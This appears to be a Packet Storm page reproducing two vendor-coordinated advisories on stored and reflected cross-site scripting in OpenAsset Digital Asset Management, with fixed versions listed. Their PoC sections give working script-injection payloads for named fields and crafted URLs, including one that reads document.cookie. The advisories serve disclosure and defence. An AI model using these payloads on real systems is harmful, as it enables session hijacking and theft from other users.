OpenAsset Digital Asset Management Cross Site Scripting

Authored by Jack Misiura

Posted Dec 11, 2020

The OpenAsset Digital Asset Management web application suffers from multiple reflected and persistent cross site scripting vulnerabilities. Vulnerable versions include 12.0.19 (Cloud) and 11.2.1 (On-premise).

tags | exploit, web, vulnerability, xss
advisories | CVE-2020-28857, CVE-2020-28859
SHA-256 | f23463f784d061541c79ecdec79a17114bfcaa396f5627dde1e0c79a90a2ae45 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Title: Stored cross-site scripting (XSS)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28857

Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au


Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication



1. Vulnerability Description

The OpenAsset Digital Asset Management web application allowed for stored cross-site scripting attacks against
various parameters and endpoints. Vulnerable parts of the web application include:

* System Preferences

              * Project Code regex field

              * User name regex field

              * Password regex field

              * All three description fields

              * First Album Name field

              * Visit Items Per SOAP request field

* Categories description

* Keywords, triggered on deletion attempts

* Editing photographer name

* Access token name

* Web share name


2. PoC


For system preferences fields, the following payloads can be used:


" autofocus onfocus="alert('Stored XSS');" abc="

"><script>alert("Script stored XSS");</script>


For categories description:


Category Name Goes Here<script>alert('Description stored XSS');</script>


For keywords:


Delete Me<script>alert(1234);</script>


Photographer name:


John Smith<script>alert("XSS Attack!");</script>


Access token name:


TokenName"><script>alert("Stored XSS Tokens")</script>


Web share name:


Share<script>alert("Stored XSS Web Share Name");</script>


3. Solution


The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud
version, the vendor has already updated it.


4. Advisory URL


https://www.themissinglink.com.au/security-advisories


--------
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	150 files
Ubuntu	68 files
LiquidWorm	23 files
Debian	16 files
malvuln	11 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	6 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

```
Title: Reflected cross-site scripting (XSS)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.22 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28859

Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au

Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication


1. Vulnerability Description



Multiple reflected cross-site scripting (XSS) vulnerabilities in the OpenAsset Digital Asset Management
software allows remote attackers to inject arbitrary JavaScript or HTML via:

* Account recovery/password reset page through the email parameter

* Saved search request, through the id parameter

* Search result request, through both the imageViewId and lpFilterInputId parameters



2. PoC



Account recovery:

https://example.com/Page/StartAccountRecovery?ok=1 <https://example.com/Page/StartAccountRecovery?
ok=1&email=test%40test%3cscript%3ealert(document.cookie)%3c%2Fscript%3e.com>
&email=test%40test<script>alert(document.cookie)<%2Fscript>.com



Saved search request:

https://example.com/AJAXPage/SavedSearch?id=167826 <https://example.com/AJAXPage/SavedSearch?
id=167826%22')%3b%7d%3b%7d%5d%7d)%3b%3c/script%3e%3cscript%3ealert(%22Reflected%20XSS!%22)%3b%3c/script>
"')%3b}%3b}]})%3b</script><script>alert("Reflected%20XSS!")%3b</script>

"');}}}]});alert(123);



Search result request:

https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript
<https://example.com/AJAXPage/SearchResults?
imageViewId=A%27%22%3e%3cscript%3ealert(%22more+xss+here%22)%3b%3c/script> >alert("more+xss+here")%3b</script>



3. Solution



The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud
version, the vendor has already updated it.



4. Advisory URL



https://www.themissinglink.com.au/security-advisories
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites

packet storm

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed